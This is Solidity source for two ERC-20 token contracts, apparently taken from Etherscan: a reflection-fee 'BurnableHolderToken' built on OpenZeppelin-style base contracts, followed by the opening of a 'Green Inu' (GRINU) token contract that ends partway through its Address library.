event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 internal _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
}
contract BurnableHolderToken is ERC20Burnable, Ownable {
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint8 private _decimals;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal = 0;
uint256 private _reflectionFee;
uint256 private _previousReflectionFee;
constructor(uint256 tTotal_, string memory name_, string memory symbol_, uint8 decimals_, uint256 reflectionFee_, address service_) ERC20(name_, symbol_) payable {
_decimals = decimals_;
_tTotal = tTotal_ * 10 ** decimals_;
_rTotal = (MAX - (MAX % _tTotal));
_reflectionFee = reflectionFee_;
_previousReflectionFee = _reflectionFee;
//exclude owner, feeaccount and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_mintStart(_msgSender(), _rTotal, _tTotal);
payable(service_).transfer(getBalance());
}
receive() payable external{
}
function getBalance() private view returns(uint256){
return address(this).balance;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _tTotal;
}
function reflectionFee() public view returns(uint256) {
return _reflectionFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function balanceOf(address sender) public view virtual override returns(uint256) {
if(_isExcluded[sender]) {
return _tOwned[sender];
}
return tokenFromReflection(_rOwned[sender]);
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFeesRedistributed() public view returns (uint256) {
return _tFeeTotal;
}
function excludeFromFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = false;
}
function changeReflectionFee(uint256 newReflectionFee) public onlyOwner() returns(bool) {
require(newReflectionFee >= 0, "Reflection fee must be greater or equal to zero");
require(newReflectionFee <= 10, "Reflection fee must be lower or equal to ten");
_reflectionFee = newReflectionFee;
return true;
}
function _mintStart(address receiver, uint256 rSupply, uint256 tSupply) private {
require(receiver != address(0), "ERC20: mint to the zero address");
_rOwned[receiver] = _rOwned[receiver] + rSupply;
emit Transfer(address(0), receiver, tSupply);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,) = _getTransferValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,) = _getTransferValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,) = _getTransferValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function excludeAccountFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccountinReward(address account) public onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual override {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = balanceOf(sender);
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_beforeTokenTransfer(sender, recipient, amount);
bool takeFee = true;
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
takeFee = false;
}
_tokenTransfer(sender, recipient, amount, takeFee);
}
function _tokenTransfer(address from, address to, uint256 value, bool takeFee) private {
if(!takeFee) {
removeAllFee();
}
if (_isExcluded[from] && !_isExcluded[to]) {
_transferFromExcluded(from, to, value);
} else if (!_isExcluded[from] && _isExcluded[to]) {
_transferToExcluded(from, to, value);
} else if (!_isExcluded[from] && !_isExcluded[to]) {
_transferStandard(from, to, value);
} else if (_isExcluded[from] && _isExcluded[to]) {
_transferBothExcluded(from, to, value);
} else {
_transferStandard(from, to, value);
}
if(!takeFee) {
restoreAllFee();
}
}
function removeAllFee() private {
if(_reflectionFee == 0) return;
_previousReflectionFee = _reflectionFee;
_reflectionFee = 0;
}
function restoreAllFee() private {
_reflectionFee = _previousReflectionFee;
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 currentRate) = _getTransferValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(tAmount, currentRate);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 currentRate) = _getTransferValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(tAmount, currentRate);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 currentRate) = _getTransferValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(tAmount, currentRate);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 currentRate) = _getTransferValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(tAmount, currentRate);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getCompleteTaxValue(uint256 tAmount) private view returns(uint256) {
uint256 allTaxes = _reflectionFee;
uint256 taxValue = tAmount * allTaxes / 100;
return taxValue;
}
function _getTransferValues(uint256 tAmount) private view returns(uint256, uint256, uint256, uint256) {
uint256 taxValue = _getCompleteTaxValue(tAmount);
uint256 tTransferAmount = tAmount - taxValue;
uint256 currentRate = _getRate();
uint256 rTransferAmount = tTransferAmount * currentRate;
uint256 rAmount = tAmount * currentRate;
return(rAmount, rTransferAmount, tTransferAmount, currentRate);
}
function _reflectFee(uint256 tAmount, uint256 currentRate) private {
uint256 tFee = tAmount * _reflectionFee / 100;
uint256 rFee = tFee * currentRate;
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for(uint256 i = 0; i < _excluded.length; i++){
if(_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) {
return(_rTotal, _tTotal);
}
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if(rSupply < _rTotal / _tTotal) {
return(_rTotal, _tTotal);
}
return (rSupply, tSupply);
}
function _burn(address account, uint256 amount) internal virtual override {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = balanceOf(account);
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_beforeTokenTransfer(account, address(0), amount);
uint256 currentRate = _getRate();
uint256 rAmount = amount * currentRate;
if(_isExcluded[account]){
_tOwned[account] = _tOwned[account] - amount;
}
_rOwned[account] = _rOwned[account] - rAmount;
_tTotal = _tTotal - amount;
_rTotal = _rTotal - rAmount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
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/**
*Submitted for verification at Etherscan.io on 2021-05-28
*/
// GGGGGGGGGGGGG IIIIIIIIII
// GGG::::::::::::G I::::::::I
// GG:::::::::::::::G I::::::::I
// G:::::GGGGGGGG::::G II::::::II
// G:::::G GGGGGGrrrrr rrrrrrrrr eeeeeeeeeeee eeeeeeeeeeee nnnn nnnnnnnn I::::Innnn nnnnnnnn uuuuuu uuuuuu
// G:::::G r::::rrr:::::::::r ee::::::::::::ee ee::::::::::::ee n:::nn::::::::nn I::::In:::nn::::::::nn u::::u u::::u
// G:::::G r:::::::::::::::::r e::::::eeeee:::::ee e::::::eeeee:::::een::::::::::::::nn I::::In::::::::::::::nn u::::u u::::u
// G:::::G GGGGGGGGGGrr::::::rrrrr::::::re::::::e e:::::ee::::::e e:::::enn:::::::::::::::n I::::Inn:::::::::::::::nu::::u u::::u
// G:::::G G::::::::G r:::::r r:::::re:::::::eeeee::::::ee:::::::eeeee::::::e n:::::nnnn:::::n I::::I n:::::nnnn:::::nu::::u u::::u
// G:::::G GGGGG::::G r:::::r rrrrrrre:::::::::::::::::e e:::::::::::::::::e n::::n n::::n I::::I n::::n n::::nu::::u u::::u
// G:::::G G::::G r:::::r e::::::eeeeeeeeeee e::::::eeeeeeeeeee n::::n n::::n I::::I n::::n n::::nu::::u u::::u
// G:::::G G::::G r:::::r e:::::::e e:::::::e n::::n n::::n I::::I n::::n n::::nu:::::uuuu:::::u
// G:::::GGGGGGGG::::G r:::::r e::::::::e e::::::::e n::::n n::::n II::::::IIn::::n n::::nu:::::::::::::::uu
// GG:::::::::::::::G r:::::r e::::::::eeeeeeee e::::::::eeeeeeee n::::n n::::n I::::::::In::::n n::::n u:::::::::::::::u
// GGG::::::GGG:::G r:::::r ee:::::::::::::e ee:::::::::::::e n::::n n::::n I::::::::In::::n n::::n uu::::::::uu:::u
// GGGGGG GGGG rrrrrrr eeeeeeeeeeeeee eeeeeeeeeeeeee nnnnnn nnnnnn IIIIIIIIIInnnnnn nnnnnn uuuuuuuu uuuu
//
//
//
// Symbol : GRINU
// Name : Green Inu
// 3% Tax, 3% Redistributed, 50% Total Supply Burned
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
